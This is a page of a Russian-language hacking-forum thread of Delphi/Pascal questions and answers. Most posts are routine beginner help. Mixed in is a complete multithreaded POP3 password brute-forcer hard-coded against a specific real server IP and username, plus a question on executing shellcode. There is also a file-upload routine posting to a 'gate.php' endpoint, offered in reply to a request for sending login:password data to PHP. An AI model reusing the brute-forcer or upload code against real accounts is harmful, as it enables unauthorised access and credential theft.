PDA

Просмотр полной версии : [Delphi]/[Pascal] Задай вопрос, получи ответ


Страницы : 1 2 3 4 5 6 7 8 [9] 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28

Indig0
03.08.2008, 11:27
2 _GlaD1aT(OR)_
if form1.btnInstall.Visible:= True
меняем на
if (form1.btnInstall.Visible==True)
Этож делфи.. :rolleyes:
во: if form1.btnInstall.Visible=True then

life96
03.08.2008, 11:41
и даже просто
if form1.btnInstall.Visible then... :)
а если это в модуле form1, то и без form1.
if btnInstall.Visible then...

_GlaD1aT(OR)_
03.08.2008, 13:40
Всем спасибо

slider
03.08.2008, 16:09
Как выполнить ShellCode в дельфях?!

в C+ это выглядело примерно так :

int main()
{
((void (__stdcall *)())&scode[0])(); // вызов шеллкода
return 0;
}

marlen
03.08.2008, 20:23
Я в программирование полный ноль....
Мне нужен "онлайн" иллюстрированный учебник по делфи.
Если кто знает где есть доступный курс, киньте ссылку плз.

W!z@rD
03.08.2008, 21:02
marlen насчет он-лайн, советую почитать темы форумов:
realcoding.net
vingrad.ru (по большей части посты форума)
sources.ru

slider
04.08.2008, 08:54
Как выполнить ShellCode в дельфях?!

в C+ это выглядело примерно так :

int main()
{
((void (__stdcall *)())&scode[0])();
return 0;
}


UP!

Snik
04.08.2008, 17:08
Народ а как проверить что сдром закрыт (командой конечно)???
То есть к примеру если сдром закрыт то выполняем то .......

По-моему, никак (если кто знает как-поправьте). Но можно узнать есть ли в нем диск, в простейшем случае так:

function CheckCD(vol: string):boolean;
begin
Result:=false;
try
ChDir(vol);
Result:=true;
except
end;
end;
И еще можно закрыть или открыть лоток:
uses mmsystem;
...
mciSendString('Set cdaudio door open wait', nil, 0, handle); // открыть
mciSendString('Set cdaudio door closed wait', nil, 0, handle); //закрыть

И еще как сделать так чтобы при нажатии кнопки опеределеный файл запускался??? Путь до файла не известен
Если файл в текущем или общедоступном каталоге, то просто выполнить через WinExec, CreateProcess или ShellExecute. Если нет, то сначала его придется найти.

hoty
04.08.2008, 17:17
в Pascal. например, есть
var x: integer;
...
x:=7;

подскажите, плз, как получить адрес переменной и выести его на экран ?

AL Capone
04.08.2008, 17:22
получение адреса переменной
указатель := @имя переменной

zl0y
04.08.2008, 17:49
asm
push eax
mov eax,offset i
mov a,eax
pop eax
end;

I - твоя переменная который хочешь получить адресс, A - переменная куда будет записан адресс переменной в памяти.

W!z@rD
04.08.2008, 18:25
var
a: Pointer;
b: Integer;
begin
a:=@b;

0verbreaK
04.08.2008, 21:46
addr возвращает первый байт переменной.

De-visible
05.08.2008, 23:55
I/O error 105 (File not open for output)
Здесь желательно увидеть не этот кусок, а более обширный код.

z01b
06.08.2008, 00:20
я действительно забыл открыть файлы, все остальное сделал...
у меня уже от программинга мозги не варят...
кому не трудно скажите как файлы открывать???
AssignFile(), Reset()/Rewrite(), CloseFile();

t04
06.08.2008, 02:44
также есть function append(f:TEXTFILE) - добавление строк в текстовый файл

Gho_st
06.08.2008, 23:24
добрый вечерно
вобщем проблема такая.. пишу что-то вроде клиента под
броузерную игрушку по совместительству остваиваю компонент idHTTP : )

вот возникла проблема
при попытки коннекта вылезает ошибка 405
и собственно код ответа сервера не возвращается в Memo


procedure TForm1.Button1Click(Sender: TObject);
var CM : TIdCookieManager;
LoginInfo: TStrings;
Response: TStringStream;
i:integer;
begin
CM := TidCookieManager.Create(IdHTTP1);
IdHTTP1.AllowCookies := True;
IdHTTP1.CookieManager := CM;
IdHTTP1.HandleRedirects := True;
LoginInfo := TStringList.Create;
Response := TStringStream.Create('');
LoginInfo.Clear;
LoginInfo.Add('login=логин');
LoginInfo.Add('pass=пароль');
LoginInfo.Add('x=0');
LoginInfo.Add('y=o');//незнаю что такое но вроде тоже передается
memo1.Lines.Clear;
IdHTTP1.Host:='ereality.ru';
IdHTTP1.Port:=80;
Memo1.Lines.Text:=IdHTTP1.Post('/',LoginInfo);
Memo1.Lines.Add(Response.DataString);
for i:=0 to IdHTTP1.CookieManager.CookieCollection.count-1 do
memo2.lines.add(IdHTTP1.CookieManager.cookieCollec tion.items[i].cookieText);
Response.Free;
LoginInfo.Free;
end;
end.

De-visible
06.08.2008, 23:44
Memo1.Lines.Text:=IdHTTP1.Post('/',LoginInfo);
Попробуй вместо этого "/", вставить адрес странички куда посылается запрос.

Gho_st
06.08.2008, 23:52
хм.. пробывал..
там что-то замутно
и index.php И login.php тоже где то там лежащий
но суть одна
если меня не авторизует мне выдается код с начальной страницей
ну и как вариант у меня вылазит ошибка 405

De-visible
06.08.2008, 23:57
хм.. пробывал..
там что-то замутно
и index.php И login.php тоже где то там лежащий
но суть одна
если меня не авторизует мне выдается код с начальной страницей
ну и как вариант у меня вылазит ошибка 405
для авторизации теперь вообще не юзаю компоненты, лучше попробуй на сокетах!они рулят, имхо.

diznt
09.08.2008, 22:16
Народ я к *примеру* хочу программировать под линукс на делфи но на делфи же вроде незя задавать форматы линукса собственно вопрос вот в чем
Я хочу программировать под линукс на делфи существует ли плагин или язык каторый похож на делфи (точь в точь чтобы функции как в делфи были) и чтобы он программировал под делфи

ЗЫ спасибо де-визибл ))!

De-visible
09.08.2008, 22:19
Kylix?!
http://ru.wikipedia.org/wiki/Kylix

Andres
10.08.2008, 19:47
Такой вопрос:

Можно ли использовать два типа данных в одной программе?
Ну к примеру вот так:

program antichat;
var a,b,c,d :integer {- с одним типом данных integer}
{А с двумя возможно,или это бред получится?}
var a,b,c,d :integer,real {- с двумя типами данных integer,real}

BlackSun
10.08.2008, 19:50
Такой вопрос:

Можно ли использовать два типа данных в одной программе?
Ну к примеру вот так:

program antichat;
var a,b,c,d :integer {- с одним типом данных integer}
{А с двумя возможно,или это бред получится?}
var a,b,c,d :integer,real {- с двумя типами данных integer,real}

var a,b,c,d :integer;
var a1,b1,c1,d1 :real;

BlackSun
10.08.2008, 19:53
Народ я к *примеру* хочу программировать под линукс на делфи но на делфи же вроде незя задавать форматы линукса собственно вопрос вот в чем
Я хочу программировать под линукс на делфи существует ли плагин или язык каторый похож на делфи (точь в точь чтобы функции как в делфи были) и чтобы он программировал под делфи

ЗЫ спасибо де-визибл ))!
C++ && (QT or GTK+)

Andres
10.08.2008, 19:57
BlackSun, а если не изменять var a1,b1,c1,d1 :real;? Ну тоесть прописать как и в Integer a,b,c,d а не a1,b1,c1,d1, что тогда?

BlackSun
10.08.2008, 20:00
BlackSun, а если не изменять var a1,b1,c1,d1 :real;? Ну тоесть прописать как и в Integer a,b,c,d а не a1,b1,c1,d1, что тогда?
Тебе просто занятся нечем, или есть проблема?

Andres
10.08.2008, 20:02
BlackSu, не, спросил просто, извени

A_V
10.08.2008, 23:20
народ где бы почитать про применение TThead для использования в брутах на http

Я понимаю конкретно влядли что будет, но что то более подходящее под эту задачу посоветуйте плз, либо пример если кому не трудно!

Спасибо!

FIND_ERROR
10.08.2008, 23:56
http://dash.ru/_review/
http://callipso.bestcode.org/delphi/artical/num2.html

:) попробуй ето!

W!z@rD
11.08.2008, 17:30
народ где бы почитать про применение TThead для использования в брутах на http

Я понимаю конкретно влядли что будет, но что то более подходящее под эту задачу посоветуйте плз, либо пример если кому не трудно!

Спасибо!

http://forum.vingrad.ru/topic-60076.html
если вот это осилишь, то мб что и напишешь...

A_V
11.08.2008, 20:45
нда а попроще...
:)

Gho_st
12.08.2008, 15:54
Такой вопрос:

Можно ли использовать два типа данных в одной программе?
Ну к примеру вот так:

program antichat;
var a,b,c,d :integer {- с одним типом данных integer}
{А с двумя возможно,или это бред получится?}
var a,b,c,d :integer,real {- с двумя типами данных integer,real}


зачем это нужно то вобще?


можно преобразовать данные из integer в real и на оборот
просто сначала данные преобразовываеш в строку а потом из строки в другой типа

например


var var a,b,c,d :integer;
a1,b1,c1,d1:real;
e:string;
....
....

e:=IntToStr(a);
a1:=StrToFloat(e);

Snik
12.08.2008, 18:41
A_V,
Ну на тебе готовый пример брутера (под POP3, правда, но не суть)

unit Unit1;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
ComCtrls, StdCtrls, WinSock;

type
TForm1 = class(TForm)
Button1: TButton;
ProgressBar1: TProgressBar;
procedure Button1Click(Sender: TObject);
procedure FormCreate(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

// Описание процесса
type
TScan = class(TThread)
sock2 : TSocket;
addr:TSockAddrIn;
WSAData : TWSAData;
private
procedure CScan;
protected
procedure Execute; override;
end;

var
Form1: TForm1;
// Массив процессов
Sock : array[1..255] of TScan;
Rez : boolean = false;
// Кол-во запущенных процессов на данный момент
I0 : Integer;
// Номер текущего пароля
I : Integer;
// TStringList с паролями
PassList : TStringList;


const
FilePass = 'pass.txt'; // Файл с паролями в каталоге проги
ProcCount = 10; // кол-во процессов
POP3serv = '212.42.64.13'; // POP3 server (отпингованый)
User = 'dndanil';

implementation
{$R *.DFM}

procedure TForm1.FormCreate(Sender: TObject);
begin
PassList:=TStringList.Create;
end;

// Запуск / Остановка
procedure TForm1.Button1Click(Sender: TObject);
begin
if Rez then
Rez:=false
else
begin
// Открытие и загрузка файла паролей
try
PassList.Clear;
PassList.LoadFromFile(FilePass);
except
end;
if PassList.Count<=0 then
begin
Application.MessageBox('Файл паролей не найден или его нельзя использовать', 'ERROR', mb_Ok);
exit;
end;
Form1.Button1.Caption:='Stop';
Form1.ProgressBar1.Position:=0;
// Кол-во паролей
Form1.ProgressBar1.Max:=PassList.Count;
Application.ProcessMessages;
I:=0;
I0:=1;
Rez:=true;
// Запустить все процессы
while true do
begin
Sock[I0]:=TScan.Create(false);
inc(I0); // Подсчитать их кол-во
//Выйти если больше указанного, или стоп, или подобрали
if (I0>ProcCount)or(not Rez) then
break;
end;
end;
end;

// Проца инициализации процесса
procedure TScan.Execute;
begin
try
// Запуск цикла
while true do
begin
CScan;
//Выход, если подобрали или закончился словарь
if (not Rez)or(I>=PassList.Count) then
break;
end;
except
end;
dec(I0);
try
Terminate;
except
end;
//Если все процессы прерваны -
if I0<=1 then
begin
Form1.Button1.Caption:='Hack it';
Rez:=false;
Application.ProcessMessages;
end;
end;

//Проца сканирования
procedure TScan.CScan;
var
iaddr, x, I2 : Integer;
Buf : array [1..255] of Char;

//Отправка
procedure sender(str:string);
var
I1: integer;
begin
for I1:=1 to Length(str) do
if send(sock2, str[I1] , 1, 0) = SOCKET_ERROR then
exit;
end;

begin
I2:=I;
inc(I);
Form1.ProgressBar1.Position:=I2+1;
Application.ProcessMessages;
try
// Инициализация сокета
WSAStartUp(257, WSAData);
sock2:=socket(AF_INET,SOCK_STREAM,IPPROTO_IP);
if sock2=INVALID_SOCKET then
begin
try
closesocket(sock2);
except
end;
exit;
end;
//Адрес сервака
iaddr := inet_addr(PChar(POP3serv));
if iaddr <=0 then
begin
try
closesocket(sock2);
except
end;
exit;
end;
addr.sin_family := AF_INET;
// Порт сервака
addr.sin_port := htons(110);
addr.sin_addr.S_addr:=iaddr;
if (connect(sock2, addr, sizeof(addr))) >0 then
begin
try
closesocket(sock2);
except
end;
exit;
end;
//Получение при соединении
x:=recv(sock2,buf,sizeof(Buf),0);
if (x=SOCKET_ERROR)or(buf[1]<>'+') then
exit;
//"user user"
sender('user '+User+#13+#10);
x:=recv(sock2,buf,sizeof(Buf),0);
if (x=SOCKET_ERROR)or(buf[1]<>'+') then
exit;
//"pass password"
sender('pass '+PassList.Strings[I2]+#13+#10);
x:=recv(sock2,buf,sizeof(Buf),0);
//Если подобралось
if (x>3)and(buf[1]='+') then
begin
Rez:=false;
Application.MessageBox(PChar('Pass = '+PassList.Strings[I2]),'ENJOY',mb_Ok);
exit;
end;
try
closesocket(sock2);
except
end;
except
end;
end;

end.

Snik
12.08.2008, 18:47
можно преобразовать данные из integer в real и на оборот
просто сначала данные преобразовываеш в строку а потом из строки в другой типа

Жесть! А функции integer(), int(), real(), round() и т.п. дураки придумали?

Gho_st
12.08.2008, 23:59
xDD
честно никогда не задумывался о них

_nic
14.08.2008, 20:26
Как в RichEdit загнать из символьного массива ,эти самые текстовые символы?

dos999
15.08.2008, 12:55
O_o? невкурил...
давай ищё раз и поподробней
PS. string это тоже символьный масив

_nic
15.08.2008, 13:56
вообщем надо засунуть текст с таким _http://img388.imageshack.us/my.php?image=77973013xh5.jpg форматированием

Snik
15.08.2008, 17:52
вообщем надо засунуть текст с таким _http://img388.imageshack.us/my.php?image=77973013xh5.jpg форматированием
Так варианта 2:
1. присваивать атрибуты для seltext
2. сразу запихать в него "исходник" RTF, типа

S := '{\rtf1\ansi\ansicpg1251\uc1 \fs16' +
'{\b \ul\qc\widctlpar \fs20 ' + {WDCaption +} ' Заголовочег \line \line }' + 'Текст \line ' + '{\par }}'#0;

W!z@rD
15.08.2008, 21:43
вообщем надо засунуть текст с таким _http://img388.imageshack.us/my.php?image=77973013xh5.jpg форматированием

RichEdit.
редактируешь, затем сохраняешь файл с расширением rtf

alextoun
15.08.2008, 21:47
тут такая жопа возникла
нужно сделать на делфи прогу
тупую формочку
где палитра 16 ричного кода цвета
ставиш мышку на нужном цвете а он показывает код цвета
хз как реализовать. Мы в инсте ещё делфи не проходили :d
типа как в фотошопе

_nic
15.08.2008, 23:32
RichEdit.
редактируешь, затем сохраняешь файл с расширением rtf
нельзя.файл должен быть только один то есть exe

diznt
16.08.2008, 03:24
И так я хочу создать калькулятор
Задал кнопке событие чтобы оно писало в мое окошечко где все вводиться

procedure TForm1.but1Click(Sender: TObject);
begin
txtN.Text:='1';
end;

Так он мне выводит в строчку одну единицу а я хочу чтобы было столько единиц скока я нажал на кнопку
Собственно как изменить код чтобы так и было ( как я пожелаю )

И вот я еще с чем столкнулся
Написал событие
procedure TForm1.Button1Click(Sender: TObject);
begin
if rad1.Checked:=True then
begin
memo1.Lines.Add(txtA.Text);
txtB.Text(txtA.Text);
txtC.Text(txtA.Text);
end;
end;

Так оно ругаеться

http://img185.imageshack.us/img185/126/39635859xw7.jpg

0x0c0de
16.08.2008, 07:51
diznt, надо так


procedure TForm1.but1Click(Sender: TObject);
begin
txtN.Text:='1' + txtN.Text;
end;


и...


procedure TForm1.Button1Click(Sender: TObject);
begin
if rad1.Checked then
begin
memo1.Lines.Add(txtA.Text);
txtB.Text(txtA.Text);
txtC.Text(txtA.Text);
end;
end;


Вы в if присваиваите, а это неверно.

W!z@rD
16.08.2008, 16:32
нельзя.файл должен быть только один то есть exe
работа с ресурсами отменена по дефтолу?!!!!!!!

W!z@rD
16.08.2008, 16:45
тут такая жопа возникла

хз как реализовать. Мы в инсте ещё делфи не проходили :d
типа как в фотошопе

Если я тебя правильно понял:

procedure TForm1.Button1Click(Sender: TObject);
var
rgb: Cardinal;
begin
rgb:=ColorBox1.Selected;
Edit1.Text:=Format('%2x%2x%2x', [GetRValue(rgb), GetGValue(rgb), GetBValue(rgb)]);
end;


на форме:
1. TButton
2. TColorBox
3. TEdit

выбираешь в ColorBox'e цвет
щелкаешь на батон
в Edit'e видишь код

ufalog
18.08.2008, 08:03
как установить иконку в приложении написаном в делфи?

zl0y
18.08.2008, 08:32
Project->Options->Application

z01b
19.08.2008, 00:42
Project->Options->Application
Или заменить в ресурсах =)

AKYLA
19.08.2008, 22:08
Расскажите плиз как делают проги для наложения пароля на папки?
Желательно с какими то примерами Delphi

slesh
20.08.2008, 09:41
Тут просто так не сделаешь. Из вариантов могу предложить следующие:
1. пишешь драйвер который перехватывает функции работы с файлами, такие как запрос списка файлов диры + открытие файла в дире + копирование+ удаление итд итп. Твоя програмка общается с драйвером постоянно и драйвер передает адреса куда юзверь лезит. При нахождении защищаемой папки выводится окошко с вводом пароля. Если пароль правильный, то просто замонить PID процесса и папку к которой ему разрешен доступ.
Сложность - написание драйвера. Плюсы - очень много.
2. через hook приаттачивать dll к каждому процессу которая будет общаться с главной прогой отвечающей за защиту.
Легко сделать, но много минусов.

ufalog
20.08.2008, 21:39
какая процедура вызывает выпадающий список - 2?

и как сделать чтоб можно было сворачивать приложение?


http://mtscorporation.ru/67.png


C компонентом разобрлася ComboBox...но как добавить туда допустим еще вариантов 10 ..чтоб было можно выбрать..один из них

AKYLA
20.08.2008, 21:47
Через драйвер....хммм че-то у меня похожее где-то валялось, надо посмотреть...та тут сложновато.
Я думал просто что может есть какие-то недокументированные функции в самой системе.

ufalog
20.08.2008, 21:57
procedure TForm2.ComboBox1Change(Sender: TObject);
begin
??????
end;

что вот тут писать чтоб был протос впадающйи спискок :(

Nightmarе
20.08.2008, 22:24
и как сделать чтоб можно было сворачивать приложение?
application.Minimize;

ufalog
20.08.2008, 23:18
и еще вопросик...как сделать так чтоб кнопка была ..но была прозрачной то есть на неее нельзя было нажать..что в свйоствах указать..

AGNUS
20.08.2008, 23:38
Люди, подскажите, как разбить набираемый текст на две колонки в RichEdit, или в чем еще, а на задний фон вместо белого свой картинка вставить, только чтоб его было видно. Заранее спс.

Nightmarе
21.08.2008, 00:53
и еще вопросик...как сделать так чтоб кнопка была ..но была прозрачной то есть на неее нельзя было нажать..что в свйоствах указать..
Ну это в свойствах кнопки ставишь в меню Enable указываешь false
Или команду кнопке чтобы вырубить другую:
button1.enable:= false;

AKYLA
21.08.2008, 01:22
Сообщение от ufalog
и еще вопросик...как сделать так чтоб кнопка была ..но была прозрачной то есть на неее нельзя было нажать..что в свйоствах указать..
Или свойство visible меняешь на false если чтоб совсем не видно было.
А вообще это совсем элементарные вопросы, которые можно узнать посмотреть в любую книжку, это ж элементарные азы.

Exile1985
21.08.2008, 09:25
и еще вопросик...как сделать так чтоб кнопка была ..но была прозрачной то есть на неее нельзя было нажать..что в свйоствах указать..

программно
Button1.Enable:=false;

либо в самой среде чтобы по умолчанию при создании она была не активной выставь свойство Enable у кнопки в false;
чтобы сделать ее доступной в рунтайме Button1.Enable:=true;

Встречный вопрос: Как ты думаешь, насколько хорошую/полезную/качественную программу ты сможешь написать если ты не знаешь как работать со стандартными компонентами?

зы: потрать 2 часа на прочтение любой книжки по делфи для начинающих чтобы тебе не задавали такие вопросы.

ufalog
21.08.2008, 15:01
зы: потрать 2 часа на прочтение любой книжки по делфи для начинающих чтобы тебе не задавали такие вопросы.

мне фейк нужен был) всем спасибо)) :)

SNAIPER ShoT
24.08.2008, 03:44
Эмм... мне надо код таково типа например на кнопку нажимаешь, а это время в cmd приписывается "shutdown -s -t 10" или же "win+e" вин + е дилательно что бы было около 100 =).. просто надо парня подколоть

zl0y
24.08.2008, 07:00
WinExec('shutdown -s -t 10',SW_HIDE);
так например

Barttos
24.08.2008, 11:26
SNAIPER ShoT, delphi или pascal?
если pascal

{$M 8192,0,0}
Program DOSCOMMAND;
uses Dos;
begin
SwapVectors;
Exec(GetEnv('COMSPEC'), '/C' + "shutdown /g /f");
SwapVectors;
if DosError <> 0 then writeln('не могу наити cmd');
end.

shutdown /g - Завершение работы и перезагрузка компьютера. После п
системы, запуск всех зарегистрированных приложений.
/s - Завершение работы компьютера.
/f - Принудительное закрытие запущенных приложений без предупреждения пользователей.

LoneWolf666
24.08.2008, 12:36
Друзья, нужна помощь по паскалю. Сестра попросила решить задачу, а я в кодингде не секу вообще, только примерно понимаю какие переменные и всё.
Написать программу зачисления студентов группы Х на стипендию.студент получивший все оценки 5 и активно участвующий в общ.работе-зачисляется на повышеную стипендию-это +50 процентов к обычной,если студент не активно участвовал-это +25 процентов,студент получивший 4 и 5-обычная,студент получивший одну оценку 3,но активно участвует в общественной работе,такого зачисляют на стипендию,в противном случае зачисление не производится.индекс группы вводится с терминала
тому кто поможет, щедро дам +20

W!z@rD
24.08.2008, 18:15
что значит индекс группы?

Dober'man
24.08.2008, 18:24
LoneWolf666 делал как то подобие такой проги, только без добавления процентов к стипендии. Здесь процент успеваемости студентов... А так всё тоже самое, 15 минут его покавырять и всё =)
uses crt;
type studrec=record
group: byte;
surname: string[20];
name: string[20];
oc: array[1..3]of 2..5;
end;
foolsrec=record
group: byte;
surname: string[20];
name: string[20];
average: real;
end;
file_typ1 = file of studrec; file_typ2 = file of foolsrec;
var f1: file_typ1; f2: file_typ2;
namefile1, namefile2: string[12];
s: studrec; fs: foolsrec;
i,nomrec: integer;
procedure read_data(var s: studrec);
begin
with s do
begin
writeln('Okonchanie vvoda - 0, kak n gruppi');
write('N gruppi: '); readln(group);
if group<>0 then
begin
write('Familia: '); readln(surname);
write('Imia: '); readln(name);
writeln('Ocenki: '); for i:=1 to 3 do read(oc[i]);
end;
end;
end;
procedure copy_data(s: studrec; var fs: foolsrec);
begin
with fs do
begin
group:=s.group; surname:=s.surname; name:=s.name;
average:=(s.oc[1]+s.oc[2]+s.oc[3])/3;
end;
end;
procedure write_list(var f: file_typ2);
begin
reset(f); seek(f,0);
writeln('Ploho uchashiesia: ');
writeln('Gruppa','Familia':16,'Imia':8,'Sredniy bal':18);
while not eof(f) do
begin
read(f,fs);
with fs do writeln(group:4,surname:15,name:10,average:16:2);
end;
end;
procedure create_file(var f: file_typ1; var n: integer);
begin
n:=0; rewrite(f); read_data(s);
while s.group<>0 do
begin
write(f,s); inc(n);
read_data(s);
end;
close(f);
end;
procedure write_data(var f1: file_typ1; var f2: file_typ2; n: integer);
var priz: char; k: integer;
begin
reset(f1); rewrite(f2); k:=0;
while not eof(f2) do
begin
read(f1,s);
priz:='n';
for i:=1 to 3 do if (s.oc[i]>=2) and (s.oc[i]<=3) then
priz:='y';
if priz='y' then
begin copy_data(s,fs); write(f2,fs) end
else inc(k);
end;
close(f1); close(f2);
clrscr; writeln('Na "4" i "5" uchatsia ',k/n*100:3:0,'% studentov');
end;
begin
write('Vvedite imia faila obshey vedomosti: '); readln(namefile1);
assign(f1,namefile1);
create_file(f1,nomrec);
write('Vvedite imia faila vedomosti zadolzhnikov: ');
readln(namefile2);
assign(f2,namefile2);
write_data(f1,f2,nomrec);
write_list(f2);
end.

k1113r
25.08.2008, 10:27
напишите плиз код программы на делфи, которая обращается в интернет и посылает данные на пхп код

Dober'man
25.08.2008, 11:22
делфи^.интернет send пхп.код
ps/ вопрос задай по-человечески!!!

dos999
25.08.2008, 13:52
2 k1113r если тебя интресует отправка фпйлов то вот:

const
URL_POST = 'http://localhost/gate/gate.php';

...

procedure POSTFile(Filename: String);
var
IdHTTP: TIdHTTP;
LPostStream: TIdMultiPartFormDataStream;
LResultString: String;
ff: TFileStream;

begin
IdHTTP := TIdHTTP.Create(nil);
IdHTTP.MaxLineLength := 0;
LPostStream := TIdMultiPartFormDataStream.Create;
ff := TFileStream.Create(Filename, 0);
try
LPostStream.AddObject('data', 'application/vnd', ff, Filename);
try
LResultString := IdHTTP.Post(URL_POST, LPostStream);
except on E:Exception do
Showmessage(E.Message);
end;
ShowMessage(LResultString);
finally
IdHTTP.Free;
LPostStream.Free;
end;
end;
незашто =)

k1113r
25.08.2008, 15:12
спс человеки но не файлов, а сообщния типа uni:pass

OnArs
25.08.2008, 16:53
Здравствуйте, есть ли на данный момент паблик компоненты Mail Agent'a ?

Dober'man
25.08.2008, 18:35
Ты смеешься?! Или у тебя колёсико вниз не крутит =)
https://forum.antichat.ru/thread79328.html

OnArs
26.08.2008, 14:25
Ты смеешься?! Или у тебя колёсико вниз не крутит =)
https://forum.antichat.ru/thread79328.html
Я не фейк прошу, а компонент под Delphi

KIR@PRO
27.08.2008, 14:44
Может ктонибудь дать пример создания 3D графики (OpenGL) с примером 3D кнопки тоесть на неё наводишь - анимация, на неё нажимаешь - какое то действие и все ето на OpenGL или другом 3D движке))))

p.s. не откажусь от совета хорошей (понятной, широко объясняемой... и т.п.) книги по этой теме.

Зарание благодарю!


------------------------------------------------------------------
http://hash.ixces.ru/mini_logo.jpg (http://hash.ixces.ru/) << ссылка на сервис
http://hash.ixces.ru/ On-line md5 сервис

eLWAux
27.08.2008, 15:22
OpenGL и Delphi на практике:
www.citforum.ru/programming/opengl/opengl&delphi/

Использование библиотеки OpenGL в Delphi:
www.codenet.ru/progr/opengl/delphi/

Примери на Делфи:
www.delphisources.ru/pages/sources.html

Графика, DirectX, OpenGL / Исходники:
sources.codenet.ru/?cid=11

ВСЕ ВМЕСТЕ ВЗЯТОЕ+много много ещо:
www.gOOgle.com

dos999
27.08.2008, 19:01
Ты смеешься?! Или у тебя колёсико вниз не крутит =)
https://forum.antichat.ru/thread79328.html

Dober'man.рупутация++

mr.The
30.08.2008, 14:06
Как на дельфи прочитать в переменную файл в котором есть переносы строк? например картинку или exe'шник... Файл изначально неизвестного размера и формата.

De-visible
30.08.2008, 16:23
Как на дельфи прочитать в переменную файл в котором есть переносы строк? например картинку или exe'шник... Файл изначально неизвестного размера и формата.

Просто присвой содержимое файла переменной и все...

ExZoD
30.08.2008, 16:51
Как на дельфи прочитать в переменную файл в котором есть переносы строк? например картинку или exe'шник... Файл изначально неизвестного размера и формата.
http://delphibasics.ru/BlockRead.php - раскуривай ;)

diznt
01.09.2008, 01:58
Народ киньте плз исходник (делфи) проги типо PassSave(аля сохранялка пассов к определенным сайтам)

спасибо!

diznt
01.09.2008, 12:54
А по проще не куда?

eLWAux
01.09.2008, 15:13
mr.The:

function L2F(const FileName:string; var Kyda:string):Boolean;
var fp:File;
begin
if FileExists(filename) then
begin
Result:=True;
try
FileMode:=fmOpenRead;
AssignFile(fp,filename);
Reset(fp,1);
try
SetLength(kyda,FileSize(fp));
BlockRead(fp,Pointer(kyda)^,Length(kyda));
finally
CloseFile(fp);
end
except
Result:=False;
end;
end
else Result:=False;
end;

и тепер например делает так:
var s:string;
begin
l2f('c:\windows\explorer.exe',s);
end;

o_OBallers
02.09.2008, 14:11
Дело в том что ты не открываешь, а пытаешся сохранить,
или думаешь что открываешь а на самом деле есть попытка перезаписать файл.

Сообщение переводится {Имя файла} уже существует. Перезаписать.
Всё успехов тебе в этих открытиях.

Кстати да Open это открыть, Save ass - сохранить как, на это урок английского закончим.

Как вариант ты можешь открывать файл .pas блокнотом, и копировать в окно паскаля.
Но как это делать я объясню, на следующем уроке, мною и так проделана огромная умственная работа по написанию этого поста.

UnPazz
03.09.2008, 18:54
есть скомпиленный exe на Pascal, а файла-исходника *.pas нету.

как .exe вернуть в *.pas , чтобы получить исходный код??

z01b
03.09.2008, 19:58
есть скомпиленный exe на Pascal, а файла-исходника *.pas нету.

как .exe вернуть в *.pas , чтобы получить исходный код??
После компиляции, получить исходный код, невозможно! Можно лишь декомпилировать, но в итоге ты получишь асм код, причем очень мутный...

eLWAux
04.09.2008, 15:13
Можно лишь декомпилировать, но в итоге ты получишь асм код, причем очень мутный...
есть прога DeDe, которая дает возможнось декомпилировать бинарки (которие били скомпилирование с помощью Delphi)
DeDe: www.xakep.ru/post/18513/default.asp
скачать DeDe3.50 www.runweloads.com/cod/gen/4551prog.html

eLWAux
04.09.2008, 15:21
нужна помощь..))

что посоветуете (какой компонент, а ЛУЧШЕ самописную функцию/процедуру) для шифрования текстових строчек в проекте?

тоесть, например есть проект:
program Project1;
uses
windows;
var s:string;
begin
s:='hello world';
messagebox(0,pchar(s),pchar(s),0);
end.
нужно закодировать строчку 'hello world'..
но не нужно предлагать крипт, типа base64, xor.. ето очень легко при реверсе получить обратно.. а нужно сделать так, чтоб при риверсинге било оооочень сложно получить исходную строчку..

--------------------------
заранее извиняюсь за много орф ошибок, т.к. я не из россии..))

slesh
04.09.2008, 15:51
Вот когдато давно написанный мною алгоритм. Работает быстро, хорошие результаты.
И главное есть ключ, который можно уже и прятать

procedure deCryptMem(adr:pointer;size:dword;key:dword);assem bler;stdcall;
asm
pushad
xor ecx,ecx
mov edi,adr
mov ebx,key
@m1:
mov al,[edi+ecx]
xor al,bl
sub al,cl
mov [edi+ecx],al
ror ebx,3
inc ecx
cmp ecx,size
jb @m1
popad
end;

procedure CryptMem(adr:pointer;size:dword;key:dword);assembl er;stdcall;
asm
pushad
xor ecx,ecx
mov edi,adr
mov ebx,key
@m1:
mov al,[edi+ecx]
add al,cl
xor al,bl
mov [edi+ecx],al
ror ebx,3
inc ecx
cmp ecx,size
jb @m1
popad
end;

slesh
04.09.2008, 15:56
p.s. Удобство в том, что без ключа текст не расшифруешь, а вот вот ключь можно ужа самому генерировать спец образом.

eLWAux
04.09.2008, 16:00
slesh, можеш пример использования твоево крипта показать?

Dober'man
04.09.2008, 17:09
xor.. ето очень легко
Что ты знаешь о xor'e ?!?!?! Каким макаром ты вскроешь двойной, тройной и т.д. xor !!!!!! Не слышал про правила итерации?!?!!!!
прога DeDe
Надо вещью сперва попользоваться, прежде чем расхваливать!

paulzey
04.09.2008, 17:54
Что ты знаешь о xor'e ?!?!?! Каким макаром ты вскроешь двойной, тройной и т.д. xor !!!!!! Не слышал про правила итерации?!?!!!!
В самом деле, единственное ограничение у xor'а - малая длина блока, и, как следствие - при коротком ключе гамма раскрывается в пределах обычных возможностей.
На месте автора стоило бы задаться другим вопросом - как неявно хранить ключ.

z01b
04.09.2008, 18:39
есть прога DeDe, которая дает возможнось декомпилировать бинарки (которие били скомпилирование с помощью Delphi)
DeDe: www.xakep.ru/post/18513/default.asp
скачать DeDe3.50 www.runweloads.com/cod/gen/4551prog.html
О да, конечно я о такой проге не знал ... В итоге, что тебе эта прога выдаст, код на каком языке?
ЗЫ Приват почему сливаешь??? =\

eLWAux
05.09.2008, 10:57
На месте автора стоило бы задаться другим вопросом - как неявно хранить ключ
да, спасибо, paulzey.. наверное я не так задал вопрос..

О да, конечно я о такой проге не знал ... В итоге, что тебе эта прога выдаст, код на каком языке?
ЗЫ Приват почему сливаешь??? =\
в результате ти увидеш форми программи на Delphi, и код на асме..
какой приват?? напиши в гугле "скачать DeDe" и увидеш ти свой приват..))
=\

eLWAux
05.09.2008, 11:00
Надо вещью сперва попользоваться, прежде чем расхваливать!
Dober'man, покажи мне место где я расхвалил прогу??? я просто посоветовал ее, потому что она (других я не встречал) которая предназначена для декомпиляции проектов Delphi/Pascal..
